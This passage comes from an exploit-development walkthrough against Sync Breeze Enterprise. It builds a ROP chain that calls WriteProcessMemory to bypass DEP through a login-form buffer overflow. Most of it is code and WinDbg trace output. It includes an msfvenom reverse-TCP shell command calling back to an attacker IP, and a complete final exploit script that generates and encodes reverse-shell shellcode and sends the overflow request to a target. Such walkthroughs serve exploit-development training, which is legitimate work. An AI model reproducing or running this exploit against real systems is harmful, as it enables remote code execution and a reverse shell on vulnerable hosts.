wpm += pack("<L", (0x1008eb04)) # Code cave address
wpm += pack("<L", (0x47474747)) # dummy lpBuffer (Stack address)
wpm += pack("<L", (0x48484848)) # dummy nSize
wpm += pack("<L", (0x1003cd64)) # lpNumberOfBytesWritten
# ROP Chain Block
rop = pack("<L", (0x45454545)) # Junk bytes
rop += b"\x90" * (rSize - len(rop))
inputBuffer = offset + wpm + eip + rop
content = b"username=" + inputBuffer + b"&password=A"
...
As before, restart the application and test out the new updates we made to the PoC. However, this time we need to set a breakpoint on the address for the ROP gadget used to overwrite the value in the EIP register, then we will single step through the other instructions from there on.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
0:009> bp 0x10154112
*** WARNING: Unable to verify checksum for C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll
0:009> g
Breakpoint 0 hit
eax=00000001 ebx=00000000 ecx=0061ddba edx=0000034e esi=00616aee edi=010137f8
eip=10154112 esp=01bc744c ebp=00612e88 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
libspp!pcre_exec+0x122c2:
10154112 54 push esp
0:011> t
eax=00000001 ebx=00000000 ecx=0061ddba edx=0000034e esi=00616aee edi=010137f8
eip=10154113 esp=01bc7448 ebp=00612e88 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
libspp!pcre_exec+0x122c3:
10154113 41 inc ecx
0:011> t
eax=00000001 ebx=00000000 ecx=0061ddbb edx=0000034e esi=00616aee edi=010137f8
eip=10154114 esp=01bc7448 ebp=00612e88 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
libspp!pcre_exec+0x122c4:
10154114 15108b4608 adc eax,8468B10h
0:011> t
eax=08468b11 ebx=00000000 ecx=0061ddbb edx=0000034e esi=00616aee edi=010137f8
eip=10154119 esp=01bc7448 ebp=00612e88 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
libspp!pcre_exec+0x122c9:
10154119 5e pop esi
0:011> t
eax=08468b11 ebx=00000000 ecx=0061ddbb edx=0000034e esi=01bc744c edi=010137f8
eip=1015411a esp=01bc744c ebp=00612e88 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
libspp!pcre_exec+0x122ca:
1015411a c3 ret
1
2
3
0:011> dd esp - 24 L7
01bc7428 45454545 1008eb04 ffffffff 1008eb04
01bc7438 47474747 48484848 1003cd64
The output above shows we now have the WPM skeleton on the stack as intended. In the next section, we will start patching the required arguments. Based on the current information gathered so far, we only need to patch lpBuffer and nSize because we can hard-code the values for the other arguments in the exploit, they shouldn’t change unless ASLR is enabled. ASLR wasn’t enabled during this development, but the logic can be adjusted to account for that.
Patching lpBuffer
lpBuffer takes the stack address of the shellcode at runtime, so we need to find the offset to the shellcode address, then use the ROP chain to patch it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
rop = pack("<L", (0x42424242)) # Junk bytes to re-align the stack
rop += pack("<L", (0x10153474)) # mov eax, esi ; pop esi ; ret ;
rop += pack("<L", (0x45454545)) # Junk bytes to re-align the stack
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x100cb4d4)) # xchg eax, edx ; ret ;
rop += pack("<L", (0x1012b413)) # pop eax ; ret ;
rop += pack("<L", (0xfffffef0)) # Shellcode offset from EDX
rop += pack("<L", (0x1005a3e6)) # neg eax ; ret ;
rop += pack("<L", (0x1003f9f9)) # add eax, edx ; retn 0x0004 ;
rop += pack("<L", (0x1012d3ce)) # mov dword [edx], eax ; ret ;
rop += pack("<L", (0x42424242)) # junk bytes for stack alignment
We start patching the lpBuffer parameter after the instructions in the EIP get executed. Those instructions contain a pop instruction, which removes a value from the stack, so we have to re-align the stack by putting a junk DWORD immediately after. At this point, we should have a copy of the ESP value in the ESI register, and since there aren’t a lot of useful gadgets/instructions with ESI that we can use for our purpose, we need to move the value in the ESI register into the EAX register. The gadget found contains a pop instruction as well, so we need to re-align the stack by placing a junk value immediately after. We need to make sure EAX points to the lpBuffer placeholder on the stack, which is 20 bytes lower than the current address in the EAX register.
I am sure there are other ways to achieve this, but I chose to go with the dec eax ; ret ; instruction, which is repeated 20 times. Now, we can begin the process of updating the actual lpBuffer value on the stack. Based on the current setup, the shellcode starts at exactly 272 offset from the address in the EAX. We need to get that offset on the stack so we can add it to EAX then store the result in the current placeholder for lpBuffer. The value 272 cannot be placed in the exploit in its decimal form, so we will instead push the hex equivalent of negative 272. Then we will perform a negation operation on that value to get 272, however, the instructions that are available require us to switch the values in EAX and EDX, then pop the offset into EAX, then add EAX after the negation operation to EDX. Finally, we moved the result of the addition operation contained in the EAX register into the location of the lpBuffer placeholder on the stack.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
0:009> t
eax=00000110 ebx=00000000 ecx=005edecb edx=01bc7438 esi=45454545 edi=011537f8
eip=1003f9f9 esp=01bc74b8 ebp=005e2d80 iopl=0 nv up ei pl nz na po cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000203
libspp!SCA_ClsFilter::CalcDays+0x29:
1003f9f9 03c2 add eax,edx
0:009> t
eax=01bc7548 ebx=00000000 ecx=005edecb edx=01bc7438 esi=45454545 edi=011537f8
eip=1003f9fb esp=01bc74b8 ebp=005e2d80 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
libspp!SCA_ClsFilter::CalcDays+0x2b:
1003f9fb c20400 ret 4
0:009> dd eax
01bc7548 90909090 44444444 44444444 44444444
01bc7558 44444444 44444444 44444444 44444444
01bc7568 44444444 44444444 44444444 44444444
01bc7578 44444444 44444444 44444444 44444444
01bc7588 44444444 44444444 44444444 44444444
01bc7598 44444444 44444444 44444444 44444444
01bc75a8 44444444 44444444 44444444 44444444
01bc75b8 44444444 44444444 44444444 44444444
0:009> t
eax=01bc7548 ebx=00000000 ecx=005edecb edx=01bc7438 esi=45454545 edi=011537f8
eip=1012d3ce esp=01bc74c0 ebp=005e2d80 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
libspp!SPP_ValueTrend::FormatValueString+0x9bbe:
1012d3ce 8902 mov dword ptr [edx],eax ds:002b:01bc7438=47474747
0:009> t
eax=01bc7548 ebx=00000000 ecx=005edecb edx=01bc7438 esi=45454545 edi=011537f8
eip=1012d3d0 esp=01bc74c0 ebp=005e2d80 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
libspp!SPP_ValueTrend::FormatValueString+0x9bc0:
1012d3d0 c3 ret
Patching nSize
As mentioned earlier, nSize takes the size in bytes of the data to be written from the stack to the code cave.
1
2
3
4
5
6
7
8
rop += pack("<L", (0x100bb1f4)) # inc edx ; ret ;
rop += pack("<L", (0x100bb1f4)) # inc edx ; ret ;
rop += pack("<L", (0x100bb1f4)) # inc edx ; ret ;
rop += pack("<L", (0x100bb1f4)) # inc edx ; ret ;
rop += pack("<L", (0x1012b413)) # pop eax ; ret ;
rop += pack("<L", (0xfffffdf4)) # Shellcode size : -524
rop += pack("<L", (0x1005a3e6)) # neg eax ; ret ;
rop += pack("<L", (0x1012d3ce)) # mov dword [edx], eax ; ret ;
The instructions above should be very easy to understand. The nSize argument is 4 bytes away from the lpBuffer, which is why we incremented the value in EDX four times, like we did with the lpBuffer patch, we pushed the negative offset of the size (-524) in the EAX register, performed another negation operation to get the positive offset value (524). Lastly, the placeholder value for nSize is relaced with the appropriate value using the move instruction. EAX should contain 524 bytes, which is moved into the location of the DWORD pointed to by EDX.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
0:009> r
eax=01bc7548 ebx=00000000 ecx=005edecb edx=01bc743c esi=45454545 edi=011537f8
eip=1012b413 esp=01bc74d4 ebp=005e2d80 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
libspp!SPP_ValueTrend::FormatValueString+0x7c03:
1012b413 58 pop eax
0:009> t
eax=fffffdf4 ebx=00000000 ecx=005edecb edx=01bc743c esi=45454545 edi=011537f8
eip=1012b414 esp=01bc74d8 ebp=005e2d80 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
libspp!SPP_ValueTrend::FormatValueString+0x7c04:
1012b414 c3 ret
0:009> t
eax=fffffdf4 ebx=00000000 ecx=005edecb edx=01bc743c esi=45454545 edi=011537f8
eip=1005a3e6 esp=01bc74dc ebp=005e2d80 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
libspp!SCA_ClsResultsModule::DeserializeGroupList+0x6d6:
1005a3e6 f7d8 neg eax
0:009> t
eax=0000020c ebx=00000000 ecx=005edecb edx=01bc743c esi=45454545 edi=011537f8
eip=1005a3e8 esp=01bc74dc ebp=005e2d80 iopl=0 nv up ei pl nz ac pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000217
libspp!SCA_ClsResultsModule::DeserializeGroupList+0x6d8:
1005a3e8 c3 ret
0:009> t
eax=0000020c ebx=00000000 ecx=005edecb edx=01bc743c esi=45454545 edi=011537f8
eip=1012d3ce esp=01bc74e0 ebp=005e2d80 iopl=0 nv up ei pl nz ac pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000217
libspp!SPP_ValueTrend::FormatValueString+0x9bbe:
1012d3ce 8902 mov dword ptr [edx],eax ds:002b:01bc743c=48484848
0:009> t
eax=0000020c ebx=00000000 ecx=005edecb edx=01bc743c esi=45454545 edi=011537f8
eip=1012d3d0 esp=01bc74e0 ebp=005e2d80 iopl=0 nv up ei pl nz ac pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000217
libspp!SPP_ValueTrend::FormatValueString+0x9bc0:
1012d3d0 c3 ret
1
2
3
0:009> dd edx -14 L7
01bc7428 757261c0 1008eb04 ffffffff 1008eb04
01bc7438 01bc7548 0000020c 1003cd64
At this point all the parameters for WPM should be patched, and all we need to do is move EDX back to WPM address, then exchange the values in EDX and ESP, then jump the execution flow to whatever is in the ESP, which should be the address of WriteProcessMemory, this should call the API and subsequently the execution of the shellcode.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
rop += pack("<L", (0x100cb4d4)) # xchg eax, edx ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10158c35)) # xchg eax, esp ; ret ;
rop += pack("<L", (0x10090c83)) # jmp esp ;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
0:007> bp 0x10158c35
*** WARNING: Unable to verify checksum for C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll
0:007> g
Breakpoint 0 hit
eax=00837428 ebx=00000000 ecx=0067dcbb edx=0000020c esi=45454545 edi=010237f8
eip=10158c35 esp=00837538 ebp=00672d80 iopl=0 nv up ei pl nz na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000207
libspp!pcre_exec+0x16de5:
10158c35 94 xchg eax,esp
0:007> dd eax
00837428 757261c0 1008eb04 ffffffff 1008eb04
00837438 00837548 0000020c 1003cd64 10154112
00837448 0083744c 10153474 45454545 10116444
00837458 10116444 10116444 10116444 10116444
00837468 10116444 10116444 10116444 10116444
00837478 10116444 10116444 10116444 10116444
00837488 10116444 10116444 10116444 10116444
00837498 10116444 10116444 10116444 100cb4d4
0:007> dd 00837548 L7
00837548 90909090 44444444 44444444 44444444
00837558 44444444 44444444 44444444
0:007> t
eax=00837538 ebx=00000000 ecx=0067dcbb edx=0000020c esi=45454545 edi=010237f8
eip=10158c36 esp=00837428 ebp=00672d80 iopl=0 nv up ei pl nz na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000207
libspp!pcre_exec+0x16de6:
10158c36 c3 ret
0:007> t
eax=00837538 ebx=00000000 ecx=0067dcbb edx=0000020c esi=45454545 edi=010237f8
eip=757261c0 esp=0083742c ebp=00672d80 iopl=0 nv up ei pl nz na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000207
KERNEL32!WriteProcessMemoryStub:
757261c0 8bff mov edi,edi
0:007> t
eax=00837538 ebx=00000000 ecx=0067dcbb edx=0000020c esi=45454545 edi=010237f8
eip=757261c2 esp=0083742c ebp=00672d80 iopl=0 nv up ei pl nz na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000207
KERNEL32!WriteProcessMemoryStub+0x2:
757261c2 55 push ebp
0:007> t
eax=00837538 ebx=00000000 ecx=0067dcbb edx=0000020c esi=45454545 edi=010237f8
eip=757261c3 esp=00837428 ebp=00672d80 iopl=0 nv up ei pl nz na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000207
KERNEL32!WriteProcessMemoryStub+0x3:
757261c3 8bec mov ebp,esp
0:007> t
eax=00837538 ebx=00000000 ecx=0067dcbb edx=0000020c esi=45454545 edi=010237f8
eip=757261c5 esp=00837428 ebp=00837428 iopl=0 nv up ei pl nz na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000207
KERNEL32!WriteProcessMemoryStub+0x5:
757261c5 5d pop ebp
0:007> t
eax=00837538 ebx=00000000 ecx=0067dcbb edx=0000020c esi=45454545 edi=010237f8
eip=757261c6 esp=0083742c ebp=00672d80 iopl=0 nv up ei pl nz na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000207
KERNEL32!WriteProcessMemoryStub+0x6:
757261c6 ff2510137775 jmp dword ptr [KERNEL32!_imp__WriteProcessMemory (75771310)] ds:002b:75771310={KERNELBASE!WriteProcessMemory (765032f0)}
1
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.120 LPORT=443 EXITFUNC=thread"
Note: It’s worth noting the exploit will not work without a custom ROP encoder and decoder, and this is because Metasploit uses a custom encoder to encode the shellcode to avoid the bad characters which gets decoded at runtime, however, the decoding instructions start after the return of Write Process Memory (WPM) into the shellcode, at the start of the shellcode execution routine. The issue is this also requires writing to the stack, requiring more than the allocated space in the code cave, which isn’t permitted based on the memory protection of the code cave, so it throws an access violation error. I have included a custom ROP encoder and decoder in the final exploit, how both of those work is simply beyond the scope of this walkthrough, but the code should be self explanatory. I will make a separate walkthrough about how the custom decode and encoder work, it’s important you understand how this works when working with the WriteProcessMemory API. Without the custom decoder and encoder, it will be difficult to get RCE on the target.
Final Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
#!/usr/bin/python
import sys, subprocess, socket
from struct import pack
# Colors Definition (ANSI Escape Sequence)
RED = '\033[31m'
WHITE = '\033[37m'
GREEN = '\033[32m'
BLUE = '\033[34m'
YELLOW = '\033[33m'
RESET = '\033[0m'
"""
Name: print_pattern
Args:
None
Description:
Prints custom console art banner to console.
Return:
None
"""
def print_pattern():
pattern = [
r" ________ _____ _____ _________ __ .__ __ ",
r" \_____ \_/ ____\/ ____\/ _____// |________|__| | __ ____ ",
r" / | \ __\\ __\ \_____ \\ __\_ __ \ | |/ // __ \ ",
r" / | \ | | | / \| | | | \/ | <\ ___/ ",
r" \_______ /__| |__| /_______ /|__| |__| |__|__|_ \\___ > ",
r" \/ \/ \/ \/ ",
r" ",
]
for line in pattern:
print(line)
"""
Name: mapBadChars
Args:
sh: Shellcode
Description:
This function is used to map bad characters in the shellcode.
Return:
Indexes of bad characters in the shellcode.
"""
def mapBadChars(sh):
BADCHARS = b"\x00\x0a\x0d\x25\x26\x2b\x3d"
i = 0
badIndex = []
while i < len(sh):
for c in BADCHARS:
if sh[i] == c:
badIndex.append(i)
i=i+1
return badIndex
"""
Name: encodeShellcode
Args:
shellcode: Shellcode
Description:
This function is used to encode shellcode and returns the encoded shellcode. It replaces bad
characters with their corresponding replacement characters and returns the encoded shellcode.
Return:
Encoded shellcode
"""
def encodeShellcode(shellcode):
BADCHARS = b"\x00\x0a\x0d\x25\x26\x2b\x3d"
REPLACECHARS = b"\xff\x01\x02\x03\x04\x10\x06"
encodedShell = shellcode
for i in range(len(BADCHARS)):
encodedShell = encodedShell.replace(pack("B", BADCHARS[i]), pack("B", REPLACECHARS[i]))
return encodedShell
"""
Name: decodeShellcode
Args:
pos: Position of bad character
shellcode: Shellcode
Description:
This function is used to decode shellcode and returns a dynamic ROP chain.
"""
def decodeShellcode(pos, shellcode):
badchars = b"\x00\x0a\x0d\x25\x26\x2b\x3d"
decodebytes = b"\x01\x09\x0b\x22\x22\x1b\x37"
decode = b""
value = 0
for i in range(len(pos)):
if i == 0:
offset = pos[i]
else:
offset = pos[i] - pos[i - 1]
offset = (-offset) & 0xffffffff
for j in range(len(badchars)):
if shellcode[pos[i]] == badchars[j]:
value = decodebytes[j] | 0x11111100
decode += pack("<L", (0x1005f1f2)) # pop ebp ; ret ;
decode += pack("<L", (offset))
decode += pack("<L", (0x1014c190)) # sub eax, ebp ; pop esi ; pop ebp ; pop ebx ; ret ;
decode += b"\x41" * 12
decode += pack("<L", (0x100baecb)) # xchg eax, ecx ; ret ;
decode += pack("<L", (0x1012b413)) # pop eax ; ret ;
decode += pack("<L", (value)) # values in BH
decode += pack("<L", (0x10158401)) # add byte [ecx], al ; ret ;
decode += pack("<L", (0x100baecb)) # xchg eax, ecx ; ret ;
return decode
"""
Name: parse_shellcode_from_file
Args:
None
Description:
Parses a txt file with the generated shellcode and returns the shellcode.
Return:
Shellcode
"""
def parse_shellcode_from_file():
output_file = "temp.txt"
shellcode = b""
try:
with open(output_file, 'r') as file:
for line in file:
if 'b"' in line or 'b\'' in line:
start = line.find('b"') + 2 if 'b"' in line else line.find("b'") + 2
end = line.rfind('"') if 'b"' in line else line.rfind("'")
byte_string = line[start:end].strip()
for i in range(0, len(byte_string), 4):
byte = bytes.fromhex(byte_string[i+2:i+4])
shellcode += byte
if shellcode:
print("[+] Exploit shellcode generated successfully.")
return shellcode
else:
print("[!] Exploit shellcode was not generated.")
except FileNotFoundError:
print(f"[!] Error: File '{output_file}' not found.")
except Exception as e:
print(f"[!] An error occurred while parsing the shellcode: {str(e)}")
return None
"""
Name: generate_shellcode_to_file
Args:
lhost: Local IP
lport: Local Port
Description:
Uses msfvenom to create a shellcode for the exploit without accounting
for bad characters, the custom encoder and decoder functions will handle this.
Return:
None: Creates a file in the current working directory with the shellcode.
"""
def generate_shellcode_to_file(lhost, lport):
command = [
'msfvenom',
'-p', 'windows/shell_reverse_tcp',
f'LHOST={lhost}',
f'LPORT={lport}',
'EXITFUNC=thread',
'-f', 'python',
'-v', 'shellcode'
]
try:
with open("temp.txt", 'w') as file:
subprocess.run(command, stdout=file, stderr=subprocess.STDOUT, check=True)
except subprocess.CalledProcessError as e:
print(f"[!] Error generating shellcode: {e.output.decode('utf-8')}")
except Exception as ex:
print(f"[!] An error occurred: {str(ex)}")
# ----------------------------- Exploit try block starts here ---------------- #
try:
# Check exit condition
if len(sys.argv) != 4:
print("[+] Incorrect number of arguments.")
print("[+] Usage: python exploit.py <Attaker IP> <Attack Port> <Target IP>")
sys.exit(1)
# Print Custom Banner Art
print("{}\n".format(BLUE))
print_pattern()
print("{}\n".format(WHITE))
print(f"[+] Generating exploit shellcode \n[+] Attacker IP: {sys.argv[1]} \n[+] Attacker Port: {sys.argv[2]}")
generate_shellcode_to_file(sys.argv[1], sys.argv[2])
server = sys.argv[3]
port = 80
rSize = 1200
nOffset = 780 # Buffer EIP Offset
# Bad characters: \x00\x0A\x0D\x25\x26\x2B\x3D
# Code cave address: 0x10167b04
# lpNumberOfBytesWritten: 0x1020c044
# DEP bypass API: WriteProcessMemory()
# ------------------------------------------- Shellcode -------------------- #
shellcode = b"\x90" * 8
shellcode += parse_shellcode_from_file()
shellcode += b"\x90" * (524 - len(shellcode))
encodedShellcode = encodeShellcode(shellcode)
# -------------------------------- WriteProcessMemory Function Skeleton ---- #
wpm = pack("<L", (0x757261c0)) # WriteProcessMemory Address
wpm += pack("<L", (0x10167b04)) # Shellcode Return Address
wpm += pack("<L", (0xFFFFFFFF)) # pseudo Process handle
wpm += pack("<L", (0x10167b04)) # Code cave address
wpm += pack("<L", (0x47474747)) # dummy lpBuffer (Stack address)
wpm += pack("<L", (0x48484848)) # dummy nSize
wpm += pack("<L", (0x1020c044)) # lpNumberOfBytesWritten
# ------------------------------- Controlling the crash and overflow --------#
offset = b"\x41" * (nOffset - len(wpm)) # Crash Offset : 780 (780 - WPM (28) = 752)
eip = pack("<L", (0x10154112)) # EIP : push esp ; inc ecx ; adc eax, 0x08468B10 ; pop esi ; ret ;
# ----------------------------------- WPM lpBuffer Argument ROP Patch -------#
rop = pack("<L", (0x42424242)) # Junk bytes to re-align the stack
rop += pack("<L", (0x10153474)) # mov eax, esi ; pop esi ; ret ;
rop += pack("<L", (0x45454545)) # Junk bytes to re-align the stack
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x100cb4d4)) # xchg eax, edx ; ret ;
rop += pack("<L", (0x1012b413)) # pop eax ; ret ;
rop += pack("<L", (0xfffffb40)) # Shellcode offset from EDX
rop += pack("<L", (0x1005a3e6)) # neg eax ; ret ;
rop += pack("<L", (0x1003f9f9)) # add eax, edx ; retn 0x0004 ;
rop += pack("<L", (0x1012d3ce)) # mov dword [edx], eax ; ret ;
rop += pack("<L", (0x42424242)) # junk bytes for stack alignment
# ------------------------------------- ROP Decoder ------------------------ #
pos = mapBadChars(shellcode)
rop += decodeShellcode(pos, shellcode) # ROP Decoder
# -------------------------------------- WPM nSize Argument ROP Patch -------#
rop += pack("<L", (0x100bb1f4)) # inc edx ; ret ;
rop += pack("<L", (0x100bb1f4)) # inc edx ; ret ;
rop += pack("<L", (0x100bb1f4)) # inc edx ; ret ;
rop += pack("<L", (0x100bb1f4)) # inc edx ; ret ;
rop += pack("<L", (0x1012b413)) # pop eax ; ret ;
rop += pack("<L", (0xfffffdf4)) # Shellcode size : -524
rop += pack("<L", (0x1005a3e6)) # neg eax ; ret ;
rop += pack("<L", (0x1012d3ce)) # mov dword [edx], eax ; ret ;
# ------------------------------------------ Return to WPM Address ----------#
rop += pack("<L", (0x100cb4d4)) # xchg eax, edx ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10116444)) # dec eax ; ret ;
rop += pack("<L", (0x10158c35)) # xchg eax, esp ; ret ;
rop += pack("<L", (0x10090c83)) # jmp esp ;
rop += b"\x90" * (rSize - len(rop)) # Junk bytes for stack alignment
# ----------------------------------------- Build the inputBuffer -----------#
inputBuffer = offset + wpm + eip + rop + encodedShellcode
content = b"username=" + inputBuffer + b"&password=A"
buffer = b"POST /login HTTP/1.1\r\n"
buffer += b"Host: " + server.encode() + b"\r\n"
buffer += b"User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer += b"Accept-Language: en-US,en;q=0.5\r\n"
buffer += b"Referer: http://10.11.0.22/login\r\n"
buffer += b"Connection: close\r\n"
buffer += b"Content-Type: application/x-www-form-urlencoded\r\n"
buffer += b"Content-Length: "+ str(len(content)).encode() + b"\r\n"
buffer += b"\r\n"
buffer += content
# --------------------------------- Standard console print statments --------#
print("{}\nDISCLAIMER: With great power comes great responsibility!".format(BLUE))
print("{}Description: Sync Breeze exploit PoC with DEP bypass enabled.\n".format(WHITE))
